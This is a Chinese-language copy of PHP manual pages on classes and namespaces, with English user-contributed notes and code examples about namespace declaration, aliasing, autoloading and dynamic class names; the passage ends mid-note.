7.0.0 | 已变更：traits 里定义兼容的属性不再产生错误信息。
5.6.0 | 增加: __debugInfo() 方法。
5.5.0 | 增加: ::class 魔法常量。
5.5.0 | 增加: finally 来处理异常。
5.4.0 | 增加： traits。
5.4.0 | 已变更：如果一个抽象 类定义了 构造函数 的签名，它将必须被实现。
5.3.3 | 已变更： 命名空间 中和类同名的方法不再被作为 构造函数。这个变更不影响非命名空间中的类。
5.3.0 | 已变更：类实现接口的方法所具有的默认值不再需要和接口的默认值一致。
5.3.0 | 已变更： 现在它也能够通过一个变量来引用一个类（例如，echo $classname::constant;）。 这个变量的值不能是一个保留关键词（比如，self、parent 或 static）。
5.3.0 | 已变更： 如果重载方法被定义为 static 将导致一个 E_WARNING 级别的错误。 同时它也需要强制使用 public 的可见性。
5.3.0 | 已变更： 在 5.3.0 之前的版本，__autoload() 函数里抛出的异常不能被 catch 块结构捕获，并会导致一个致命错误。 现在在一个前提下 catch 块能够捕获 __autoload 函数中抛出的错误。如果抛出一个自定义异常，这个自定义异常的类必须是可用的。否则 __autoload 函数可能递归自动加载这个自定义异常类。
5.3.0 | 新增： __callStatic 方法。
5.3.0 | 新增： heredoc 和 nowdoc 支持类的 常量 和属性的定义。 注意：heredoc 值必须和双引号字符串遵循同样的规则（比如，变量将被替换）。
5.3.0 | 新增： 后期静态绑定。
5.3.0 | 新增： __invoke 方法。
5.2.0 | 已变更：__toString 方法仅在直接与 echo 或 print 使用时被调用。但是现在它能在任何字符串上下文被调用（比如在 printf() 中使用 %s ），但不是在其他类型的上下文被调用（例如 %d 修饰符）。 自 PHP 5.2.0 起，将不具有 __toString 方法的对象转化为字符串将导致一个 E_RECOVERABLE_ERROR 级别的错误。
5.1.3 | 已变更：在 PHP 5 之前的版本，var 的使用已被废弃，并将产生一个 E_STRICT 级别的错误。现在它不再被废弃，因此也不会产生错误。
5.1.0 | 已变更：现在 __set_state 静态方法在 var_export() 导出类时会被调用。
5.1.0 | 新增：__isset 和 __unset 方法。

User Contributed Notes

There are no user contributed notes for this page.


命名空间

Table of Contents

  • 命名空间概述
  • 定义命名空间
  • 定义子命名空间
  • 在同一个文件中定义多个命名空间
  • 使用命名空间：基础
  • 命名空间和动态语言特征
  • namespace 关键字和 __NAMESPACE__ 常量
  • 使用命名空间：别名/导入
  • 全局空间
  • 使用命名空间：后备全局函数/常量
  • 名称解析规则
  • FAQ：命名空间必知必会

User Contributed Notes

Anonymous 10-May-2016 08:15
Tested on PHP 7.0.5, Windows
The line "use animate;" equals the line "use animate as animate;"
but the "use other\animate;" equals "use other\animate as animate;"

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace other\animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use other\animate;       //use other\animate as animate;
  echo feline\Cat::says(), "<br />\n";
  echo canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>
varuninorbit at yahoo dot co dot in 27-Dec-2015 06:43
here is a simple example to use namespace

<?php

namespace app\a{
    class one{
       public static function _1(){
        echo 'a one _1<br>';
       }
    }
}

namespace app\b{
    class one{
        public static function _2(){
            echo 'b one _2<br>';
        }
    }
}

namespace app{

    echo a\one::_1();
    echo b\one::_2();
    echo a\two::_1();
}

namespace app\a{
    class two{
       public static function _1(){
        echo 'a two _1<br>';
       }
    }
}

prints
a one _1
b one _2
a two _1
davidkennedy85 at gmail dot com 26-Mar-2015 05:04
In addition to using namespaces and closures, the use keyword has another new meaning as of PHP 5.4 - using traits:

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World';
    }
}

class MyHelloWorld {
    use Hello, World;
    public function sayExclamationMark() {
        echo '!';
    }
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

More info here: http://php.net/manual/en/language.oop5.traits.php
Anonymous 25-May-2011 11:06
The keyword 'use' has two different applications, but the reserved word table links to here.

It can apply to namespace constucts:

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use animate;
  echo \feline\Cat::says(), "<br />\n";
  echo \canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>

Note that
felineCat::says()
should be
\feline\Cat::says()
(and similar for the others)
but this comment form deletes the backslash (why???)

The 'use' keyword also applies to closure constructs:

<?php function getTotal($products_costs, $tax)
    {
        $total = 0.00;

        $callback =
            function ($pricePerItem) use ($tax, &$total)
            {

                $total += $pricePerItem * ($tax + 1.0);
            };

        array_walk($products_costs, $callback);
        return round($total, 2);
    }
?>


命名空间概述

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

什么是命名空间？从广义上来说，命名空间是一种封装事物的方法。在很多地方都可以见到这种抽象概念。例如，在操作系统中目录用来将相关文件分组，对于目录中的文件来说，它就扮演了命名空间的角色。具体举个例子，文件 foo.txt 可以同时在目录 /home/greg 和 /home/other 中存在，但在同一个目录中不能存在两个 foo.txt 文件。另外，在目录 /home/greg 外访问 foo.txt 文件时，我们必须将目录名以及目录分隔符放在文件名之前得到 /home/greg/foo.txt。这个原理应用到程序设计领域就是命名空间的概念。

在 PHP 中，命名空间用来解决在编写类库或应用程序时创建可重用的代码如类或函数时碰到的两类问题：

  1. 用户编写的代码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突。
  2. 为很长的标识符名称(通常是为了缓解第一类问题而定义的)创建一个别名（或简短）的名称，提高源代码的可读性。

PHP 命名空间提供了一种将相关的类、函数和常量组合到一起的途径。下面是一个说明 PHP 命名空间语法的示例：

Example #1 命名空间语法示例

<?php
namespace my\name; // 参考 "定义命名空间" 小节

class MyClass {}
function myfunction() {}
const MYCONST = 1;

$a = new MyClass;
$c = new \my\name\MyClass; // 参考 "全局空间" 小节

$a = strlen('hi'); // 参考 "使用命名空间：后备全局函数/常量" 小节

$d = namespace\MYCONST; // 参考 "namespace操作符和__NAMESPACE__常量" 小节

$d = __NAMESPACE__ . '\MYCONST';
echo constant($d); // 参考 "命名空间和动态语言特征" 小节
?>

Note: 命名空间名称大小写不敏感。

Note:

名为 PHP 的命名空间，以及以这些名字开头的命名空间 （例如 PHP\Classes）被保留用作语言内核使用， 而不应该在用户空间的代码中使用。

User Contributed Notes

asma.mechtaba 20-Jan-2022 05:11
we can also use namespaces to groupe traits
shewa12kpi at gmail dot com 12-May-2021 04:39
<?php
//Here is the simple use case of namespace. See how we can use same named class with the help of namespace. This is how namespace resolve naming collision.

namespace Mobile;

class User
{

    public $name = 'mobile user';
}

$user = new \Mobile\User;
echo $user->name;

namespace TV ;

class User
{
    public static $name = 'tv user';
}

echo \TV\User::$name;
Anonymous 27-Jan-2021 04:19
php reserve keywords are not allowed as a namespace name.But namespace name "php" can be allowed.

Here are some example:

namespace php;//works
namespace class;//Parse error: syntax error, unexpected 'class'
namespace const;//Parse error: syntax error, unexpected 'const'
namespace constant;//works
namespace interface;//Parse error: syntax error, unexpected 'interface'
namespace function;//Parse error: syntax error, unexpected 'function'
TonyMarston at tonymarston dot net 20-Jan-2021 08:43
I should point out that namespaces were implemented in PHP to resolve name clashes in userland code. It was never the intention to eventually change the entire language to use namespaces instead of prefixes (ie: change mysqli_connect() to mysqli/connect()) as this would be a huge BC break.

I should also point out that the PSR standards created by the FIG group are *NOT* the official standards for PHP. While there are coding standards for contributing to PHP core, or for creating extensions, there are none for userland developers who are free to adopt whatever standards they choose.
pierstoval at gmail dot com 05-Dec-2014 10:00
To people coming here by searching about namespaces, know that a consortium has studied about best practices in PHP, in order to allow developers to have common coding standards.

These best practices are called "PHP Standard Recommendations" , also known as PSR.

They are visible on this link : http://www.php-fig.org/psr

Actually there are 5 coding standards categories :
PSR-0 : Autoloading Standard , which goal is to make the use of Namespaces easier, in order to convert a namespace into a file path.
PSR-1 : Basic Coding Standard , basically, standards :)
PSR-2 : Coding Style Guide, where to put braces, how to write a class, etc.
PSR-3 : Logger Interface , how to write a standard logger
PSR-4 : Improved Autoloading , to resolve more Namespaces into paths.

The ones I want to point are PSR-0 and PSR-4 : they use namespaces to resolve a FQCN (Fully qualified class name = full namespace + class name) into a file path.
Basic example, you have this directory structure :
./src/Pierstoval/Tools/MyTool.php

The namespacing PSR-0 or PSR-4 standard tells that you can transform this path into a FQCN.
Read the principles of autoload if you need to know what it means, because it's almost mandatory ;) .

Structure :
{path}/autoloader.php
{path}/index.php
{path}/src/Pierstoval/Tools/MyTool.php

Files :

<?php
    // {path}/index.php
    include 'autoloader.php';
    $tool = new Pierstoval/Tools/MyTool();
?>

<?php
    // {path}/src/Pierstoval/Tools/MyTool.php
    namespace Pierstoval\Tools;
    class MyTool {}
?>

<?php
    // {path}/autoloader.php
    function loadClass($className) {
        $fileName = '';
        $namespace = '';

        // Sets the include path as the "src" directory
        $includePath = dirname(__FILE__).DIRECTORY_SEPARATOR.'src';

        if (false !== ($lastNsPos = strripos($className, '\\'))) {
            $namespace = substr($className, 0, $lastNsPos);
            $className = substr($className, $lastNsPos + 1);
            $fileName = str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR;
        }
        $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';
        $fullFileName = $includePath . DIRECTORY_SEPARATOR . $fileName;

        if (file_exists($fullFileName)) {
            require $fullFileName;
        } else {
            echo 'Class "'.$className.'" does not exist.';
        }
    }
    spl_autoload_register('loadClass'); // Registers the autoloader
?>
A standardized autoloader will get the class you want to instanciate (MyTool) and get the FQCN, transform it into a file path, and check if the file exists. If it does, it will <?php include(); ?> it, and if you wrote your class correctly, the class will be available within its correct namespace.
Then, if you have the following code :
<?php $tool = new Pierstoval/Tools/MyTool(); ?>
The autoloader will transform the FQCN into this path :
{path}/src/Pierstoval/Tools/MyTool.php

This might be the best practices ever in PHP framework developments, such as Symfony or others.
Dmitry Snytkine 31-May-2011 06:54
Just a note: namespace (even nested or sub-namespace) cannot be just a number, it must start with a letter.
For example, lets say you want to use namespace for versioning of your packages or versioning of your API:

namespace Mynamespace\1;  // Illegal
Instead use this:
namespace Mynamespace\v1; // OK
SteveWa 27-Feb-2011 08:45
Thought this might help other newbies like me...

Name collisions means:
you create a function named db_connect, and somebody elses code that you use in your file (i.e. an include) has the same function with the same name.

To get around that problem, you rename your function SteveWa_db_connect  which makes your code longer and harder to read.

Now you can use namespaces to keep your function name separate from anyone else's function name, and you won't have to make extra_long_named functions to get around the name collision problem.

So a namespace is like a pointer to a file path where you can find the source of the function you are working with


定义命名空间

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

虽然任意合法的 PHP 代码都可以包含在命名空间中，但只有以下类型的代码受命名空间的影响，它们是：类（包括抽象类和 trait）、接口、函数和常量。

命名空间通过关键字 namespace 来声明。如果一个文件中包含命名空间，它必须在其它所有代码之前声明命名空间，除了一个以外：declare关键字。

Example #1 声明单个命名空间

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

?>

Note: 完全限定名称（就是以反斜杠开头的名称）不能用于命名空间的声明。 因为该结构会解析成相对命名空间表达式。

在声明命名空间之前唯一合法的代码是用于定义源文件编码方式的 declare 语句。另外，所有非 PHP 代码包括空白符都不能出现在命名空间的声明之前：

Example #2 声明单个命名空间

<html>
<?php
namespace MyProject; // 致命错误 -　命名空间必须是程序脚本的第一条语句
?>

另外，与 PHP 其它的语言特征不同，同一个命名空间可以定义在多个文件中，即允许将同一个命名空间的内容分割存放在不同的文件中。

User Contributed Notes

dino at tuxweb dot it 26-Aug-2022 12:08
Please note that a PHP Namespace declaration cannot start with a number.
It took some time for me to debug...
anisgazig at gmail dot com 21-Jan-2021 05:13
namespace statement  is defined at first of the php files. But
    before namespace declaration only three elements allowed.
      1.declare statement
      2.spaces
      3.comments
anisgazig at gmail dot com 14-Jan-2021 04:03
Namespace name are case-insensitive.
namespace App
and
namespace app
are same meaning.

Besides, Namespace keword are case-insensitive.
Namespace App
namespace App
and
NAMESPACE App
are same meaning.
kuzawinski dot marcin at NOSPAM dot gmail dot com 05-Aug-2014 09:52
If your code looks like this:

<?php
    namespace NS;
?>

...and you still get "Namespace declaration statement has to be the very first statement in the script" Fatal error, then you probably use UTF-8 encoding (which is good) with Byte Order Mark, aka BOM (which is bad). Try to convert your files to "UTF-8 without BOM", and it should be ok.
FatBat 08-Aug-2013 09:46
Expanding on @danbettles note, it is better to always be explicit about which constant to use.

<?php
    namespace NS;

    define(__NAMESPACE__ .'\foo','111');
    define('foo','222');

    echo foo;  // 111.
    echo \foo;  // 222.
    echo \NS\foo  // 111.
    echo NS\foo  // fatal error. assumes \NS\NS\foo.
?>
huskyr at gmail dot com 05-Oct-2009 04:20
"A file containing a namespace must declare the namespace at the top of the file before any other code"

It might be obvious, but this means that you *can* include comments and white spaces before the namespace keyword.

<?php
// Lots
// of
// interesting
// comments and white space

namespace Foo;
class Bar {
}
?>
jeremeamia at gmail dot com 14-Jul-2009 08:43
You should not try to create namespaces that use PHP keywords. These will cause parse errors.

Examples:

<?php
namespace Project/Classes/Function; // Causes parse errors
namespace Project/Abstract/Factory; // Causes parse errors
?>
danbettles at yahoo dot co dot uk 14-Apr-2009 12:02
Regarding constants defined with define() inside namespaces...

define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
Baptiste 14-May-2008 12:47
There is nothing wrong with PHP namespaces, except that those 2 instructions give a false impression of package management.
... while they just correspond to the "with()" instruction of Javascript.

By contrast, a package is a namespace for its members, but it offers more (like deployment facilities), and a compiler knows exactly what classes are in a package, and where to find them.
Anonymous 01-Apr-2008 11:11
@ RS: Also, you can specify how your __autoload() function looks for the files. That way another users namespace classes cannot overwrite yours unless they replace your file specifically.


定义子命名空间

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

与目录和文件的关系很象，PHP 命名空间也允许指定层次化的命名空间的名称。因此，命名空间的名字可以使用分层次的方式定义：

Example #1 声明分层次的单个命名空间

<?php
namespace MyProject\Sub\Level;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

?>
上面的例子创建了常量 MyProject\Sub\Level\CONNECT_OK，类 MyProject\Sub\Level\Connection 和函数 MyProject\Sub\Level\connect。

User Contributed Notes

There are no user contributed notes for this page.


在同一个文件中定义多个命名空间

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

也可以在同一个文件中定义多个命名空间。在同一个文件中定义多个命名空间有两种语法形式。

Example #1 定义多个命名空间，简单组合语法

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

namespace AnotherProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
?>

不建议使用这种语法在单个文件中定义多个命名空间。建议使用下面的大括号形式的语法。

Example #2 定义多个命名空间，大括号语法

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}

namespace AnotherProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}
?>

在实际的编程实践中，非常不提倡在同一个文件中定义多个命名空间。这种方式的主要用于将多个 PHP 脚本合并在同一个文件中。

将全局的非命名空间中的代码与命名空间中的代码组合在一起，只能使用大括号形式的语法。全局代码必须用一个不带名称的 namespace 语句加上大括号括起来，例如：

Example #3 定义多个命名空间和不包含在命名空间中的代码

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}

namespace { // 全局代码
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

除了开始的 declare 语句外，命名空间的括号外不得有任何 PHP 代码。

Example #4 定义多个命名空间和不包含在命名空间中的代码

<?php
declare(encoding='UTF-8');
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}

namespace { // 全局代码
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

User Contributed Notes

dauser at daexample dot com 14-Jun-2017 11:18
There are rational examples of where the ability to blend multiple namespaces into a single file is not only desirable but also absolutely necessary.  An example of where this ability is useful is over in the very popular phpseclib library where they are PSR-4 compliant but, in order to be compliant, they have to read a directory of files to know what classes are available so that the autoloader can load the correct files.  If they, instead, just bundled the defaults into one file using this mechanism already supported by PHP core, there would be no need to do extraneous scanning of the file system.

That's just one legitimate use-case where strict compliance with PSRs gets in the way of good software development.
dominic_mayers at yahoo dot com 24-Sep-2016 02:33
If you have the habit to always use the closing PHP tag "?>" in your test files, remember that with the bracketed syntax code outside the brackets, including new lines outside the PHP tags,  is not allowed.  In particular, even though PHP sees a new line after the closing tag  as a part of the line and eats it, some editors, such as  Gedit, Gvim, Vim and Nano in Ubuntu,  will  add yet another new line after this new line and this will create an error.
Ishan Fernando 25-Jun-2015 07:15
//call same named function using namespace

//food.php

<?php
namespace Food;

require ('Apple.php');
require('Orange.php');

use Apples;
use Oranges;

  Apples\eat();
  Oranges\eat();
 ?>

//Apple.php
<?php
namespace Apples;

function eat()
{
  echo "eat apple";
}
?>

//Orange.php
<?php
namespace Oranges;

function eat()
{
  echo "eat Orange";
}
?>
jigar dot vy at gmail dot com 24-Jun-2015 12:52
<?php

// You cannot mix bracketed namespace declarations with unbracketed namespace declarations - will result in a Fatal error

namespace a;

echo "I belong to namespace a";

namespace b {
    echo "I'm from namespace b";
}
Rahul Sonar 21-Feb-2015 09:43
<?php
//Namespace can be used in this way also
namespace MyProject {

function connect() { echo "ONE";  }
    Sub\Level\connect();
}

namespace MyProject\Sub {

function connect() { echo "TWO";  }
    Level\connect();
}

namespace MyProject\Sub\Level {

    function connect() { echo "THREE";  }
    \MyProject\Sub\Level\connect(); // OR we can use this as below
    connect();
}
leaksin [ at ] gmail [ dot ] com 30-Jul-2013 10:04
using of global namespaces and multiple namespaces in one PHP file increase the complexity and decrease readability of the code.
Let's try not use this scheme even it's very necessary (although there is not)


使用命名空间：基础

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

在讨论如何使用命名空间之前，必须了解 PHP 是如何知道要使用哪一个命名空间中的元素的。可以将 PHP 命名空间与文件系统作一个简单的类比。在文件系统中访问一个文件有三种方式：

  1. 相对文件名形式如 foo.txt。它会被解析为 currentdirectory/foo.txt，其中 currentdirectory 表示当前目录。因此如果当前目录是 /home/foo，则该文件名被解析为 /home/foo/foo.txt。
  2. 相对路径名形式如 subdirectory/foo.txt。它会被解析为 currentdirectory/subdirectory/foo.txt。
  3. 绝对路径名形式如 /main/foo.txt。它会被解析为 /main/foo.txt。
PHP 命名空间中的元素使用同样的原理。例如，类名可以通过三种方式引用：
  1. 非限定名称，或不包含前缀的类名称，例如 $a=new foo(); 或 foo::staticmethod();。如果当前命名空间是 currentnamespace，foo 将被解析为 currentnamespace\foo。如果使用 foo 的代码是全局的，不包含在任何命名空间中的代码，则 foo 会被解析为 foo。 警告：如果命名空间中的函数或常量未定义，则该非限定的函数名称或常量名称会被解析为全局函数名称或常量名称。详情参见 使用命名空间：后备全局函数名称/常量名称。
  2. 限定名称,或包含前缀的名称，例如 $a = new subnamespace\foo(); 或 subnamespace\foo::staticmethod();。如果当前的命名空间是 currentnamespace，则 foo 会被解析为 currentnamespace\subnamespace\foo。如果使用 foo 的代码是全局的，不包含在任何命名空间中的代码，foo 会被解析为 subnamespace\foo。
  3. 完全限定名称，或包含了全局前缀操作符的名称，例如， $a = new \currentnamespace\foo(); 或 \currentnamespace\foo::staticmethod();。在这种情况下，foo 总是被解析为代码中的文字名(literal name)currentnamespace\foo。

下面是一个使用这三种方式的实例：

file1.php

<?php
namespace Foo\Bar\subnamespace;

const FOO = 1;
function foo() {}
class foo
{
static function staticmethod() {}
}
?>

file2.php

<?php
namespace Foo\Bar;
include 'file1.php';

const FOO = 2;
function foo() {}
class foo
{
static function staticmethod() {}
}

/* 非限定名称 */
foo(); // 解析为函数 Foo\Bar\foo
foo::staticmethod(); // 解析为类 Foo\Bar\foo 的静态方法 staticmethod
echo FOO; // 解析为常量 Foo\Bar\FOO

/* 限定名称 */
subnamespace\foo(); // 解析为函数 Foo\Bar\subnamespace\foo
subnamespace\foo::staticmethod(); // 解析为类 Foo\Bar\subnamespace\foo,
// 以及类的方法 staticmethod
echo subnamespace\FOO; // 解析为常量 Foo\Bar\subnamespace\FOO

/* 完全限定名称 */
\Foo\Bar\foo(); // 解析为函数 Foo\Bar\foo
\Foo\Bar\foo::staticmethod(); // 解析为类 Foo\Bar\foo, 以及类的方法 staticmethod
echo \Foo\Bar\FOO; // 解析为常量 Foo\Bar\FOO
?>

注意访问任意全局类、函数或常量，都可以使用完全限定名称，例如 \strlen() 或 \Exception 或 \INI_ALL。

Example #1 在命名空间内部访问全局类、函数和常量

<?php
namespace Foo;

function strlen() {}
const INI_ALL = 3;
class Exception {}

$a = \strlen('hi'); // 调用全局函数strlen
$b = \INI_ALL; // 访问全局常量 INI_ALL
$c = new \Exception('error'); // 实例化全局类 Exception
?>

User Contributed Notes

Anonymous 27-Oct-2014 01:08
<?php

namespace Foo;

try {
    // Something awful here
    // That will throw a new exception from SPL
}
catch (Exception as $ex) {
    // We will never get here
    // This is because we are catchin Foo\Exception
}
?>

Instead use fully qualified name for the exception to catch it

<?php

namespace Foo;

try {
    // something awful here
    // That will throw a new exception from SPL
}
catch (\Exception as $ex) {
    // Now we can get here at last
}
?>
tom at tomwardrop dot com 26-Feb-2012 10:06
It seems the file system analogy only goes so far. One thing that's missing that would be very useful is relative navigation up the namespace chain, e.g.

<?php
namespace MyProject {
   class Person {}
}

namespace MyProject\People {
    class Adult extends ..\Person {}
}
?>

That would be really nice, especially if you had really deep namespaces. It would save you having to type out the full namespace just to reference a resource one level up.
Lukas Z 05-Dec-2011 03:25
Well variables inside namespaces do not override others since variables are never affected by namespace but always global:
"Although any valid PHP code can be contained within a namespace, only four types of code are affected by namespaces: classes, interfaces, functions and constants. "

Source: "Defining Namespaces"
http://www.php.net/manual/en/language.namespaces.definition.php
philip dot preisser at arcor dot de 14-Jun-2011 02:34
Working with variables can overwrite equal variables in other namespaces

<?php // php5 - package-version : 5.3.5-1ubuntu7.2

    namespace
    main
    {}

    namespace
    main\sub1
    {
        $data = 1;
    }

    namespace
    main\sub2
    {
        echo $data;// 1
        $data = 2;
    }

    namespace
    main\sub1
    {
        echo $data;// 2
        $data = 1;
    }

    namespace
    {
        echo $data;// 1
    }

?>
richard at richard-sumilang dot com 27-Mar-2008 01:36
Syntax for extending classes in namespaces is still the same.

Lets call this Object.php:

<?php

namespace com\rsumilang\common;

class Object{
   // ... code ...
}

?>

And now lets create a class called String that extends object in String.php:

<?php

class String extends com\rsumilang\common\Object{
   // ... code ...
}

?>

Now if you class String was defined in the same namespace as Object then you don't have to specify a full namespace path:

<?php

namespace com\rsumilang\common;

class String extends Object
{
   // ... code ...
}

?>

Lastly, you can also alias a namespace name to use a shorter name for the class you are extending incase your class is in seperate namespace:

<?php

namespace com\rsumilang\util;
use com\rsumlang\common as Common;

class String extends Common\Object
{
   // ... code ...
}

?>

- Richard Sumilang


命名空间和动态语言特征

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP 命名空间的实现受到其语言自身的动态特征的影响。因此，如果要将下面的代码转换到命名空间中：

Example #1 动态访问元素

example1.php:

<?php
class classname
{
function __construct()
{
echo __METHOD__,"\n";
}
}
function funcname()
{
echo __FUNCTION__,"\n";
}
const constname = "global";

$a = 'classname';
$obj = new $a; // 输出 classname::__construct
$b = 'funcname';
$b(); // 输出 funcname
echo constant('constname'), "\n"; // 输出 global
?>
必须使用完全限定名称（包括命名空间前缀的类名称）。注意因为在动态的类名称、函数名称或常量名称中，限定名称和完全限定名称没有区别，因此其前导的反斜杠是不必要的。

Example #2 动态访问命名空间的元素

<?php
namespace namespacename;
class classname
{
function __construct()
{
echo __METHOD__,"\n";
}
}
function funcname()
{
echo __FUNCTION__,"\n";
}
const constname = "namespaced";

/* 注意，如果使用双引号，要这样写 "\\namespacename\\classname" */
$a = '\namespacename\classname';
$obj = new $a; // 输出 namespacename\classname::__construct
$a = 'namespacename\classname';
$obj = new $a; // 也会输出 namespacename\classname::__construct
$b = 'namespacename\funcname';
$b(); // 输出 namespacename\funcname
$b = '\namespacename\funcname';
$b(); // 也会输出 namespacename\funcname
echo constant('\namespacename\constname'), "\n"; // 输出 namespaced
echo constant('namespacename\constname'), "\n"; // 也会输出 namespaced
?>

请一定别忘了阅读 对字符串中的命名空间名称转义的注解.

User Contributed Notes

anisgazig at gmail dot com 19-Nov-2021 05:12
<?php

//single or double quotes with single or double backslash in dynamic namespace class.

namespace Country_Name{
class Mexico{
function __construct(){
echo __METHOD__,"<br>";
}
}

$a = 'Country_Name\Mexico';//Country_Name\Mexico::__construct
$a = "Country_Name\Mexico";
//Country_Name\Mexico::__construct
$a = '\Country_Name\Mexico';
//Country_Name\Mexico::__construct
$a = "\Country_Name\Mexico";
//Country_Name\Mexico::__construct
$a = "\\Country_Name\\Mexico";
//Country_Name\Mexico::__construct
$o = new $a;

}

/* if your namespace name or class name start with lowercase n then you should be alart about the use of single or double quotes with backslash  */

namespace name_of_country{
class Japan{
function __construct()
{
    echo __METHOD__,"<br>";
}

}

$a = 'name_of_country\Japan';
//name_of_country\Japan::__construct
$a = "name_of_country\Japan";
//name_of_country\Japan::__construct
$a = '\name_of_country\Japan';
//name_of_country\Japan::__construct
//$a = "\name_of_country\Japan";
//Fatal error: Uncaught Error: Class ' ame_of_country\Japan' not found
//In this statement "\name_of_country\Japan" means -first letter n with "\ == new line("\n). for fix it we can use double back slash or single quotes with single backslash.
$a = "\\name_of_country\\Japan";
//name_of_country\Japan::__construct
$o = new $a;
}

namespace Country_Name{
class name{
function __construct(){
echo __METHOD__,"<br>";
}
}

$a = 'Country_Name\name';
//Country_Name\Norway::__construct
$a = "Country_Name\name";
//Country_Name\Norway::__construct
$a = '\Country_Name\name';
//Country_Name\Norway::__construct
//$a = "\Country_Name\name";
//Fatal error: Uncaught Error: Class '\Country_Name ame' not found

//In this statement "\Country_Name\name" at class name's first letter n with "\ == new line("\n). for fix it we can use double back slash or single quotes with single backslash
$a = "\\Country_Name\\name";
//Country_Name\name::__construct
$o = new $a;

}

//"\n == new line are case insensitive so "\N could not affected

 ?>
Daan 19-Sep-2019 08:56
Important to know is that you need to use the *fully qualified name* in a dynamic class name. Here is an example that emphasizes the difference between a dynamic class name and a normal class name.

<?php
namespace namespacename\foo;

class classname
{
    function __construct()
    {
        echo 'bar';
    }
}

$a = '\namespacename\foo\classname'; // Works, is fully qualified name
$b = 'namespacename\foo\classname'; // Works, is treated as it was with a prefixed "\"
$c = 'foo\classname'; // Will not work, it should be the fully qualified name

// Use dynamic class name
new $a; // bar
new $b; // bar
new $c; // [500]: / - Uncaught Error: Class 'foo\classname' not found in

// Use normal class name
new \namespacename\foo\classname; // bar
new namespacename\foo\classname; // [500]: / - Uncaught Error: Class 'namespacename\foo\namespacename\foo\classname' not found
new foo\classname; // [500]: / - Uncaught Error: Class 'namespacename\foo\foo\classname' not found
museyib dot e at gmail dot com 09-Mar-2019 04:48
Be careful when using dynamic accessing namespaced elements. If you use double-quote backslashes will be parsed as escape character.

<?php
    $a="\namespacename\classname"; //Invalid use and Fatal error.
    $a="\\namespacename\\classname"; //Valid use.
    $a='\namespacename\classname'; //Valid use.
?>
m dot mannes at gmail dot com 25-Feb-2017 06:36
Case you are trying call a static method that's the way to go:

<?php
class myClass
{
    public static function myMethod()
    {
      return "You did it!\n";
    }
}

$foo = "myClass";
$bar = "myMethod";

echo $foo::$bar(); // prints "You did it!";
?>
akhoondi+php at gmail dot com 09-Aug-2013 04:17
It might make it more clear if said this way:

One must note that when using a dynamic class name, function name or constant name, the "current namespace", as in http://www.php.net/manual/en/language.namespaces.basics.php is global namespace.

One situation that dynamic class names are used is in 'factory' pattern. Thus, add the desired namespace of your target class before the variable name.

namespaced.php
<?php
// namespaced.php
namespace Mypackage;
class Foo {
    public function factory($name, $global = FALSE)
    {
        if ($global)
            $class = $name;
        else
            $class = 'Mypackage\\' . $name;
        return new $class;
    }
}

class A {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
class B {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
?>

global.php
<?php
// global.php
class A {
    function __construct()
    {
        echo  __METHOD__;
    }
}
?>

index.php
<?php
//  index.php
namespace Mypackage;
include('namespaced.php');
include('global.php');

  $foo = new Foo();

  $a = $foo->factory('A');        // Mypackage\A::__construct
  $b = $foo->factory('B');        // Mypackage\B::__construct

  $a2 = $foo->factory('A',TRUE);    // A::__construct
  $b2 = $foo->factory('B',TRUE);    // Will produce : Fatal error: Class 'B' not found in ...namespaced.php on line ...
?>
Alexander Kirk 06-Jul-2011 12:57
When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
